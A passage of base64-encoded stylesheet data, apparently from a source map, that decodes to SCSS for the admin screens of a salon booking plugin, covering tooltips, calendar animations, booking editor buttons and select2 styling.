mZpcm1hdGlvbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24tZGlzYWJsZWQ6aG92ZXJcbiAgLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi10b29sdGlwIHtcbiAgZGlzcGxheTogYmxvY2s7XG59XG4vKiBGSVggMDkyMDIzXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1kaXNhYmxlZFxuICAgIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tdG9vbHRpcDo6YWZ0ZXIge1xuICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHdvcmQtd3JhcDogbm9ybWFsO1xuICAgIGRpcmVjdGlvbjogbHRyO1xuICAgIC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcbiAgICBmb250LXNpemU6IDI1cHg7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIGNvbnRlbnQ6IFwiY2hldnJvbl9yaWdodFwiO1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICBjb2xvcjogI2ZmZGQ1MDtcbiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xufVxuKi9cblxuLyogRklYIDA5MjAyM1xuLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZC5zbG4tYm9va2luZy1kZWZhdWx0LXN0YXR1czphZnRlciB7XG4gICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICAgIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gICAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgZm9udC1zaXplOiAxNnB4O1xuICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBjb250ZW50OiBcImZpYmVyX21hbnVhbF9yZWNvcmRcIjtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbn1cbiovXG4uc2xuLXNldC1kZWZhdWx0LWJvb2tpbmctc3RhdHVzLS1hbGVydC1sb2FkaW5nOjpiZWZvcmUge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIGNvbnRlbnQ6ICcnO1xuICB3aWR0aDogMS41cmVtO1xuICBoZWlnaHQ6IDEuNXJlbTtcbiAgYm9yZGVyOiAzcHggc29saWQgIzY4OTZiYztcbiAgYm9yZGVyLXJhZGl1czogNTAlO1xuICBib3JkZXItcmlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcbiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApO1xuICAtd2Via2l0LWFuaW1hdGlvbjogbG9hZDggMS4xcyBpbmZpbml0ZSBsaW5lYXI7XG4gIGFuaW1hdGlvbjogbG9hZDggMS4xcyBpbmZpbml0ZSBsaW5lYXI7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgbGVmdDogMTBweDtcbn1cblxuLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tYmxvY2stbGFiZWwtZGlzYWJsZWQge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG59XG4vLyBub3cgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwXG4vLyAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbi8vICAgdG9wOiAtNDVweDtcbi8vICAgcmlnaHQ6IDUlO1xuLy8gICB6LWluZGV4OiAxMDA7XG4vLyAgIGJhY2tncm91bmQ6ICMwMTM1NTM7XG4vLyAgIGNvbG9yOiB3aGl0ZTtcbi8vICAgcGFkZGluZzogMTBweDtcbi8vICAgYm9yZGVyLXJhZGl1czogNHB4O1xuLy8gICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuLy8gICBkaXNwbGF5OiBub25lO1xuLy8gfVxuXG4vLyAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCBhLFxuLy8gI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAgYTpob3ZlciB7XG4vLyAgIGNvbG9yOiB3aGl0ZTtcbi8vIH1cblxuLy8gLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tYmxvY2stbGFiZWwtZGlzYWJsZWQ6aG92ZXJcbi8vICAgLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAge1xuLy8gICBkaXNwbGF5OiBibG9jaztcbi8vIH1cbi8qIEZJWCAwOTIwMjNcbi5zbG4tYm9va2luZy1wcm8tZmVhdHVyZS10b29sdGlwOjphZnRlciB7XG4gICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgZm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcbiAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgd29yZC13cmFwOiBub3JtYWw7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgIGZvbnQtc2l6ZTogMjVweDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogXCJjaGV2cm9uX3JpZ2h0XCI7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgIGNvbG9yOiAjZmZkZDUwO1xuICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG59XG4qL1xuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tYmxvY2stbGFiZWwtZGlzYWJsZWRcbiAgLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtc2V0LFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tYmxvY2stbGFiZWwtZGlzYWJsZWRcbiAgLnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtc2V0OmhvdmVyIHtcbiAgY29sb3I6ICNjY2M7XG4gIGN1cnNvcjogbm90LWFsbG93ZWQ7XG59XG5cbi5zbG4tdmFyaWFibGUtcHJpY2UtYXR0ZW5kYW50cy0taGVhZGVyIHtcbiAgZm9udC1zaXplOiAxNHB4O1xuICBwYWRkaW5nOiAyMHB4IDA7XG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2JhKDE5OSwgMjIzLCAyNDMsIDAuNSk7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuXG4uc2xuLXZhcmlhYmxlLXByaWNlLWF0dGVuZGFudHMtLXJvdyB7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgcGFkZGluZzogMjBweCAwO1xufVxuXG4uc2xuLXZhcmlhYmxlLXByaWNlLWF0dGVuZGFudHMtLXJvdyxcbi5zbG4tdmFyaWFibGUtcHJpY2UtLWhlYWRlciB7XG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2JhKDE5OSwgMjIzLCAyNDMsIDAuNSk7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tdmFyaWFibGUtcHJpY2UtYXR0ZW5kYW50cy0tcm93IC5zbG4taW5wdXQtLXNpbXBsZSB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tdmFyaWFibGUtcHJpY2UtLWhlYWRlciAuc2xuLXN3aXRjaCB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tdmFyaWFibGUtcHJpY2UtLWhlYWRlclxuICAuc2xuLXN3aXRjaC5zbG4tc3dpdGNoLS1iYXJlXG4gIGxhYmVsXG4gIHNwYW4sXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXZhcmlhYmxlLXByaWNlLS1oZWFkZXJcbiAgLnNsbi1zd2l0Y2guc2xuLXN3aXRjaC0tYmFyZVxuICBsYWJlbFxuICBzcGFuOmhvdmVyIHtcbiAgZm9udC1zaXplOiAxNnB4O1xufVxuXG4uc2xuLXZhcmlhYmxlLXByaWNlIC5zbG4tYm94LS1oYXNwYW5lbCB7XG4gIHBhZGRpbmctdG9wOiAxNXB4O1xufVxuXG4uc2xuLXZhcmlhYmxlLXByaWNlIC5zbG4tYm94LS1oYXNwYW5lbCAuc2xuLWJveC10aXRsZSxcbi5zbG4tdmFyaWFibGUtcHJpY2UtYXR0ZW5kYW50cy0tcm93LS1hdHRlbmRhbnQtdGl0bGUge1xuICBsaW5lLWhlaWdodDogNDBweDtcbn1cblxuLnNsbi12YXJpYWJsZS1wcmljZS0tZGlzYWJsZWQge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG59XG4vLyBub3cgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwXG4vLyAuc2xuLXZhcmlhYmxlLXByaWNlLS1kaXNhYmxlZDpob3ZlciAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyAgIGRpc3BsYXk6IGJsb2NrO1xuLy8gfVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXZhcmlhYmxlLXByaWNlLS1kaXNhYmxlZCAuc2xuLXN3aXRjaCAuc2xuLXN3aXRjaC1idG4ge1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuLy8gI3Nsbi1zYWxvbi0tYWRtaW5cbi8vIFx0LnNsbi12YXJpYWJsZS1wcmljZS0tZGlzYWJsZWRcbi8vIFx0LnNsbi1zd2l0Y2hcbi8vIFx0LnNsbi1zd2l0Y2gtYnRuXG4vLyBcdD4gc3BhbiB7XG4vLyBcdGNvbG9yOiAjY2NjO1xuLy8gXHRjdXJzb3I6IG5vdC1hbGxvd2VkO1xuLy8gfVxuLy8gbm93IC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcFxuLy8gI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAgYSB7XG4vLyAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbi8vIH1cblxuLy8gI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAgYTpob3ZlciB7XG4vLyAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xuLy8gfVxuXG4uc2xuLXNlcnZpY2UtdmFyaWFibGUtZHVyYXRpb24ge1xuICBtYXJnaW4tdG9wOiAyMnB4O1xufVxuXG4vLyAuc2xuLXNlcnZpY2UtdmFyaWFibGUtZHVyYXRpb24tZGlzYWJsZWQge1xuLy8gXHRwb3NpdGlvbjogcmVsYXRpdmU7XG4vLyB9XG4vL25vdyAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXBcbi8vIC5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbi1kaXNhYmxlZDpob3ZlciAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyAgIGRpc3BsYXk6IGJsb2NrO1xuLy8gfVxuXG4vLyAjc2xuLXNhbG9uLS1hZG1pblxuLy8gXHQuc2xuLXNlcnZpY2UtdmFyaWFibGUtZHVyYXRpb24tZGlzYWJsZWRcbi8vIFx0LnNsbi1zZXJ2aWNlLXZhcmlhYmxlLWR1cmF0aW9uLS1jaGVja2JveCxcbi8vICNzbG4tc2Fsb24tLWFkbWluXG4vLyBcdC5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbi1kaXNhYmxlZFxuLy8gXHQuc2xuLXNlcnZpY2UtbXVsdGlwbGUtYXR0ZW5kYW50cy1mb3Itc2VydmljZSB7XG4vLyBcdGNvbG9yOiAjY2NjY2NjO1xuLy8gXHRjdXJzb3I6IG5vdC1hbGxvd2VkO1xuLy8gXHRvcGFjaXR5OiAwLjU7XG4vLyB9XG5cbi8vICNzbG4tc2Fsb24tLWFkbWluXG4vLyBcdC5zbG4tc2VydmljZS12YXJpYWJsZS1kdXJhdGlvbi1kaXNhYmxlZFxuLy8gXHQuc2xuLXNlcnZpY2UtdmFyaWFibGUtZHVyYXRpb24tLWNoZWNrYm94XG4vLyBcdGxhYmVsLFxuLy8gI3Nsbi1zYWxvbi0tYWRtaW5cbi8vIFx0LnNsbi1zZXJ2aWNlLXZhcmlhYmxlLWR1cmF0aW9uLWRpc2FibGVkXG4vLyBcdC5zbG4tc2VydmljZS1tdWx0aXBsZS1hdHRlbmRhbnRzLWZvci1zZXJ2aWNlIHtcbi8vIFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG4vLyB9XG5cbi5zbG4tZWRpdG9yLXBvcHVwLWFjdGlvbnMge1xuICBwb3NpdGlvbjogZml4ZWQ7XG4gIGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuICB3aWR0aDogMTAwJTtcbiAgYm90dG9tOiAwO1xuICBsZWZ0OiAwO1xuICB6LWluZGV4OiAxMDAwMDA7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGhlaWdodDogMTAwcHg7XG4gIHBhZGRpbmc6IDAgMTBweDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbn1cblxuLnNsbi1lZGl0b3ItcG9wdXAtYWN0aW9ucy1saXN0IHtcbiAgZGlzcGxheTogZmxleDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAganVzdGlmeS1jb250ZW50OiBlbmQ7XG4gIHdpZHRoOiA3MCU7XG59XG5cbi5zbG4tZWRpdG9yLXBvcHVwLWFjdGlvbnMgLnNsbi1idG4tLWJpZyB7XG4gIHdpZHRoOiAzMyU7XG4gIG1heC13aWR0aDogMTMuMzMzMzMzM3JlbTtcbiAgbWluLXdpZHRoOiAwO1xufVxuXG4uc2xuLWVkaXRvci1wb3B1cC1hY3Rpb25zIC5zbG4tZHVwbGljYXRlLWJvb2tpbmcge1xuICAvKiBGSVggMDkyMDIzXG4gICAgd2lkdGg6IDMzJTtcbiAgICBtYXgtd2lkdGg6IDEzLjMzMzMzMzNyZW07XG4gICAgKi9cbiAgbWluLXdpZHRoOiAwO1xufVxuXG4uc2xuLWVkaXRvci1wb3B1cC1hY3Rpb25zIC5zbG4tZHVwbGljYXRlLWJvb2tpbmcgLnNsbi1idG4tLWJpZyB7XG4gIG1pbi13aWR0aDogMTAwJTtcbn1cblxuLnNsbi1lZGl0b3ItcG9wdXAtYWN0aW9ucyAuc2xuLWxhc3QtZWRpdCB7XG4gIHdpZHRoOiAzMCU7XG59XG5cbi5zbG4tbGFzdC1lZGl0IC5ib29raW5nLWxhc3QtZWRpdC1kYXRlLFxuLnNsbi1sYXN0LWVkaXQgLmJvb2tpbmctbGFzdC1lZGl0LXRpbWUsXG4uc2xuLWxhc3QtZWRpdCAuYm9va2luZy1sYXN0LWVkaXQtYXV0aG9yIHtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc2VsZWN0IC5zbG4tbm8tYXR0ZW5kYW50LXJlcXVpcmVkIHtcbiAgZm9udC1zaXplOiAxNHB4O1xufVxuXG4uc2xuLWFsZXJ0LnNsbi1hbGVydC0tbXVsdGlwbGUge1xuICAvKiBGSVggMDkyMDIzXG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTMwcHg7XG4gICAgKi9cbiAgcGFkZGluZzogMCAyMHB4O1xufVxuXG4uc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTMuc2xuLXNlbGVjdCAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlOmJlZm9yZSB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gICNzbG5fYm9va2luZy1kZXRhaWxzXG4gIC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMy5zbG4tc2VsZWN0XG4gIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGVcbiAgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG4gIHBhZGRpbmc6IDA7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gICNzbG5fYm9va2luZy1kZXRhaWxzXG4gIC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMy5zbG4tc2VsZWN0XG4gIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGVcbiAgLnNlbGVjdDItc2VsZWN0aW9uX19jaG9pY2Uge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgY29sb3I6IHJnYigwLCA1MywgODMpO1xufVxuXG4uc2xuLWNhbGVuZGFyLXBsdWdpbi11cGRhdGUtbm90aWNlLS13cmFwcGVyIC5zbG4tbm90aWNlX193cmFwcGVyIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHdpZHRoOiAxMDAlO1xufVxuLnNsbi1jYWxlbmRhci0td3JhcHBlciAuY3VycmVudC12aWV3LS10aXRsZTphZnRlciB7XG4gIGNvbnRlbnQ6ICcnO1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIHdpZHRoOiAxMHB4O1xuICBoZWlnaHQ6IDEwcHg7XG4gIG1hcmdpbi1sZWZ0OiA4cHg7XG4gIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2IwYjViZjtcbiAgb3BhY2l0eTogMC40NTtcbiAgdHJhbnNpdGlvbjogb3BhY2l0eSAxMjBtcyBlYXNlO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHRvcDogMnB4O1xufVxuLnNsbi1jYWxlbmRhci0td3JhcHBlciAuY3VycmVudC12aWV3LS10aXRsZS5zbG4tYm94LS1sb2FkaW5nOmFmdGVyIHtcbiAgb3BhY2l0eTogMTtcbiAgYW5pbWF0aW9uOiBzbG4tY2FsZW5kYXItcHVsc2UgMnMgZWFzZS1pbi1vdXQgaW5maW5pdGU7XG4gIGJveC1zaGFkb3c6IDAgMCAwIDAgcmdiYSgwLCAwLCAwLCAwLjEyKTtcbn1cblxuLmdlbmVyYXRlLW9uZXNpZ25hbC1hcHAtLXdyYXBwZXIge1xuICB0ZXh0LWFsaWduOiByaWdodDtcbn1cblxuLmdlbmVyYXRlLW9uZXNpZ25hbC1hcHAge1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gIGxpbmUtaGVpZ2h0OiAyO1xufVxuLyogRklYIDA5MjAyM1xuLmdlbmVyYXRlLW9uZXNpZ25hbC1hcHA6YWZ0ZXIge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBmb250OiBub3JtYWwgMjBweC8xIGRhc2hpY29ucztcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgIG1hcmdpbi1sZWZ0OiA2cHg7XG4gICAgY29udGVudDogXCJcXGY0NjNcIjtcbiAgICB0b3A6IDRweDtcbiAgICBkaXNwbGF5OiBub25lO1xufVxuKi9cbi5nZW5lcmF0ZS1vbmVzaWduYWwtYXBwLmxvYWRpbmc6YWZ0ZXIge1xuICBhbmltYXRpb246IHJvdGF0aW9uIDJzIGluZmluaXRlIGxpbmVhcjtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xufVxuXG5Aa2V5ZnJhbWVzIHNsbi1jYWxlbmRhci1wdWxzZSB7XG4gIDAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDAuODUpO1xuICAgIG9wYWNpdHk6IDAuNjtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjYjBiNWJmO1xuICAgIGJveC1zaGFkb3c6IDAgMCAwIDAgcmdiYSg0MCwgMTY3LCA2OSwgMC4yKTtcbiAgfVxuICA1MCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMS4xKTtcbiAgICBvcGFjaXR5OiAxO1xuICAgIGJhY2tncm91bmQtY29sb3I6ICMyZWNjNzE7XG4gICAgYm94LXNoYWRvdzogMCAwIDAgOHB4IHJnYmEoNDYsIDIwNCwgMTEzLCAwLjE1KTtcbiAgfVxuICAxMDAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDAuODUpO1xuICAgIG9wYWNpdHk6IDAuNjtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjYjBiNWJmO1xuICAgIGJveC1zaGFkb3c6IDAgMCAwIDAgcmdiYSg0MCwgMTY3LCA2OSwgMCk7XG4gIH1cbn1cblxuLnNsbi1jdXN0b21lci1maWRlbGl0eS1zY29yZS1kaXNhYmxlZCB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cbi8vIG5vdyAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXBcbi8vIC5zbG4tY3VzdG9tZXItZmlkZWxpdHktc2NvcmUtZGlzYWJsZWQ6aG92ZXIgLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAge1xuLy8gICBkaXNwbGF5OiBibG9jaztcbi8vIH1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1jdXN0b21lci1maWRlbGl0eS1zY29yZS1kaXNhYmxlZFxuICAuc2xuLWN1c3RvbWVyLWZpZGVsaXR5LXNjb3JlLS1jaGVja2JveCB7XG4gIGNvbG9yOiAjY2NjO1xuICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xuICBvcGFjaXR5OiAwLjU7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tY3VzdG9tZXItZmlkZWxpdHktc2NvcmUtZGlzYWJsZWRcbiAgLnNsbi1jdXN0b21lci1maWRlbGl0eS1zY29yZS0tY2hlY2tib3hcbiAgbGFiZWwge1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cbi5zYWxvbl9wYWdlX3NhbG9uLWNhbGVuZGFyXG4gIC5zbG4tY2FsZW5kYXItLXdyYXBwZXJcbiAgLnNlcnZpY2UtZW1wdHktZHVyYXRpb25cbiAgLmRheS1ldmVudC1pdGVtX19zZXJ2aWNlLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciAuc2VydmljZS1lbXB0eS1kdXJhdGlvbiAuZGF5LWV2ZW50LWl0ZW1fX3NlcnZpY2Uge1xuICBkaXNwbGF5OiBpbmxpbmU7XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG59XG4uc2Fsb25fcGFnZV9zYWxvbi1jYWxlbmRhclxuICAuc2xuLWNhbGVuZGFyLS13cmFwcGVyXG4gIC5zZXJ2aWNlLWVtcHR5LWR1cmF0aW9uXG4gIC5kYXktZXZlbnQtaXRlbV9fYXR0ZW5kYW50XG4gIC5kYXktZXZlbnQtaXRlbV9fYXR0ZW5kYW50X25hbWUsXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyXG4gIC5zZXJ2aWNlLWVtcHR5LWR1cmF0aW9uXG4gIC5kYXktZXZlbnQtaXRlbV9fYXR0ZW5kYW50XG4gIC5kYXktZXZlbnQtaXRlbV9fYXR0ZW5kYW50X25hbWUge1xuICBkaXNwbGF5OiBpbmxpbmU7XG4gIGZsb2F0OiBub25lO1xufVxuXG4vKiBGSVggMDkyMDIzICovXG4jc2xuLWJvb2tpbmctY2xvbmVkLW5vdGljZSB7XG4gIGZsb2F0OiByaWdodCAhaW1wb3J0YW50O1xuICBmb250LXNpemU6IDFlbTtcbiAgbWFyZ2luLXRvcDogMyU7XG4gIGNvbG9yOiAjY2M3ODAxO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiB7XG4gIC5zbG4taW5wdXQtLXNpbXBsZVxuICAgIGlucHV0Om5vdChbdHlwZT0nYnV0dG9uJ10pOm5vdChbdHlwZT0ncmVzZXQnXSk6bm90KFt0eXBlPSdzdWJtaXQnXSk6bm90KFxuICAgICAgW3R5cGU9J2ltYWdlJ11cbiAgICApLmNsb25lZC1kYXRhOmZvY3VzLFxuICAuc2xuLWlucHV0LS1zaW1wbGVcbiAgICBpbnB1dDpub3QoW3R5cGU9J2J1dHRvbiddKTpub3QoW3R5cGU9J3Jlc2V0J10pOm5vdChbdHlwZT0nc3VibWl0J10pOm5vdChcbiAgICAgIFt0eXBlPSdpbWFnZSddXG4gICAgKS5jbG9uZWQtZGF0YSxcbiAgLnNsbi1pbnB1dC0tc2ltcGxlXG4gICAgaW5wdXQ6bm90KFt0eXBlPSdidXR0b24nXSk6bm90KFt0eXBlPSdyZXNldCddKTpub3QoW3R5cGU9J3N1Ym1pdCddKTpub3QoXG4gICAgICBbdHlwZT0naW1hZ2UnXVxuICAgICkuY2xvbmVkLWRhdGE6Zm9jdXMsXG4gIC5zbG4taW5wdXQtLXNpbXBsZVxuICAgIGlucHV0Om5vdChbdHlwZT0nYnV0dG9uJ10pOm5vdChbdHlwZT0ncmVzZXQnXSk6bm90KFt0eXBlPSdzdWJtaXQnXSk6bm90KFxuICAgICAgW3R5cGU9J2ltYWdlJ11cbiAgICApLmNsb25lZC1kYXRhIHtcbiAgICBib3JkZXItY29sb3I6ICNjYzc4MDE7XG4gIH1cbn1cbi8vIG5vdyAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXBcbi8vIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4vLyAgIC5zbG4tZHVwbGljYXRlLWJvb2tpbmctLWRpc2FibGVkOmhvdmVyIC5zbG4tYm9va2luZy1wcm8tZmVhdHVyZS10b29sdGlwIHtcbi8vICAgICBkaXNwbGF5OiBibG9jaztcbi8vICAgICB0b3A6IC0zMHB4O1xuLy8gICAgIHJpZ2h0OiAxNiU7XG4vLyAgIH1cbi8vICAgLnNsbi1kdXBsaWNhdGUtYm9va2luZy0tZGlzYWJsZWQ6aG92ZXIgLnNsbi1ib29raW5nLXByby1mZWF0dXJlLXRvb2x0aXAgYSB7XG4vLyAgICAgY29sb3I6IHdoaXRlO1xuLy8gICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbi8vICAgfVxuLy8gfVxuLyogRklYIDA5MjAyMyAvLyBFTkQgKi9cbi5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbiB7XG4gIHNwYW4gc3BhbiB7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIG1hcmdpbi1yaWdodDogMC41ZW07XG4gICAgZm9udC13ZWlnaHQ6IGJvbGQ7XG4gICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICB9XG4gICAgJjplbXB0eSB7XG4gICAgICBkaXNwbGF5OiBub25lO1xuICAgIH1cbiAgICAmOmZpcnN0LWNoaWxkOm5vdCg6ZW1wdHkpLFxuICAgICYuc2xuLXNlbGVjdF9fd3JuIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbiAgICB9XG4gICAgJi5zbG4tc2VsZWN0X193cm4ge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gICAgICAgIG